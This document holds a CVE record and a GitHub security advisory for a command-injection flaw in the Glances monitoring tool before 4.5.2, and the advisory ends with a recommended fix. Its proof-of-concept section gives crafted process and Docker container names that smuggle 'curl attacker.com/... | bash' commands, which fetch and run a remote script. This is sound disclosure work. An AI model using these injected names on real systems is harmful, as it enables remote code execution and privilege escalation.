{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-32608",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-18T15:38:16.679632Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-18T15:39:15.123Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "glances",
          "vendor": "nicolargo",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.5.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-18T06:03:22.153Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7"
        },
        {
          "name": "https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107"
        },
        {
          "name": "https://github.com/nicolargo/glances/releases/tag/v4.5.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
        }
      ],
      "source": {
        "advisory": "GHSA-vcv2-q258-wrg7",
        "discovery": "UNKNOWN"
      },
      "title": "Glances has a Command Injection via Process Names in Action Command Templates"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-32608",
    "datePublished": "2026-03-18T06:03:22.153Z",
    "dateReserved": "2026-03-12T14:54:24.270Z",
    "dateUpdated": "2026-03-18T15:39:15.123Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:26:22Z",
    "nvd_published_at": "2026-03-18T07:16:21Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.\n\n## Details\n\n**The action execution flow:**\n\n1. Admin configures an action in glances.conf (documented feature):\n\n```ini\n[cpu]\ncritical_action=echo \"High CPU on {{name}}\" | mail admin@example.com\n```\n\n2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):\n\n```python\nself.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)\n```\n\n3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).\n\n4. In glances/actions.py:77-78, the Mustache library renders the template:\n\n```python\nif chevron_tag:\n    cmd_full = chevron.render(cmd, mustache_dict)\n```\n\n5. The rendered command is passed to secure_popen() (glances/actions.py:84):\n\n```python\nret = secure_popen(cmd_full)\n```\n\n**The secure_popen vulnerability** (glances/secure.py:17-30):\n\n```python\ndef secure_popen(cmd):\n    ret = \"\"\n    for c in cmd.split(\"\u0026\u0026\"):\n        ret += __secure_popen(c)\n    return ret\n```\n\nAnd __secure_popen() (glances/secure.py:33-77) splits by \u003e and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by \u0026\u0026, \u003e, and | characters, then executes each segment as a separate subprocess.\n\nAdditionally, the redirect handler at line 69-72 writes to arbitrary file paths:\n\n```python\nif stdout_redirect is not None:\n    with open(stdout_redirect, \"w\") as stdout_redirect_file:\n        stdout_redirect_file.write(ret)\n```\n\n## PoC\n\n**Scenario 1: Command injection via pipe in process name**\n\n```bash\n# 1. Admin configures processlist action in glances.conf:\n# [processlist]\n# critical_action=echo \"ALERT: {{name}} used {{cpu_percent}}% CPU\" \u003e\u003e /tmp/alerts.log\n\n# 2. Attacker creates a process with a crafted name containing a pipe:\ncp /bin/sleep \"/tmp/innocent|curl attacker.com/evil.sh|bash\"\n\"/tmp/innocent|curl attacker.com/evil.sh|bash\" 9999 \u0026\n\n# 3. When the process triggers a critical alert, secure_popen splits by |:\n#   Command 1: echo \"ALERT: innocent\n#   Command 2: curl attacker.com/evil.sh   \u003c-- INJECTED\n#   Command 3: bash used 99% CPU\" \u003e\u003e /tmp/alerts.log\n```\n\n**Scenario 2: Command chain via \u0026\u0026 in container name**\n\n```bash\n# 1. Admin configures containers action:\n# [containers]\n# critical_action=docker stats {{name}} --no-stream\n\n# 2. Attacker names a Docker container with \u0026\u0026 injection:\ndocker run --name \"web \u0026\u0026 curl attacker.com/rev.sh | bash \u0026\u0026 echo \" nginx\n\n# 3. secure_popen splits by \u0026\u0026:\n#   Command 1: docker stats web\n#   Command 2: curl attacker.com/rev.sh | bash   \u003c-- INJECTED\n#   Command 3: echo --no-stream\n```\n\n## Impact\n\n- **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).\n\n- **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.\n\n- **Arbitrary file write:** The \u003e redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.\n\n- **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.\n\n## Recommended Fix\n\nSanitize Mustache-rendered values before secure_popen processes them:\n\n```python\n# glances/actions.py\n\ndef _escape_for_secure_popen(value):\n    \"\"\"Escape characters that secure_popen treats as operators.\"\"\"\n    if not isinstance(value, str):\n        return value\n    value = value.replace(\"\u0026\u0026\", \" \")\n    value = value.replace(\"|\", \" \")\n    value = value.replace(\"\u003e\", \" \")\n    return value\n\ndef run(self, stat_name, criticality, commands, repeat, mustache_dict=None):\n    for cmd in commands:\n        if chevron_tag:\n            if mustache_dict:\n                safe_dict = {\n                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v\n                    for k, v in mustache_dict.items()\n                }\n            else:\n                safe_dict = mustache_dict\n            cmd_full = chevron.render(cmd, safe_dict)\n        else:\n            cmd_full = cmd\n        ...\n```",
  "id": "GHSA-vcv2-q258-wrg7",
  "modified": "2026-03-19T21:05:21Z",
  "published": "2026-03-16T16:26:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances has a Command Injection via Process Names in Action Command Templates"
}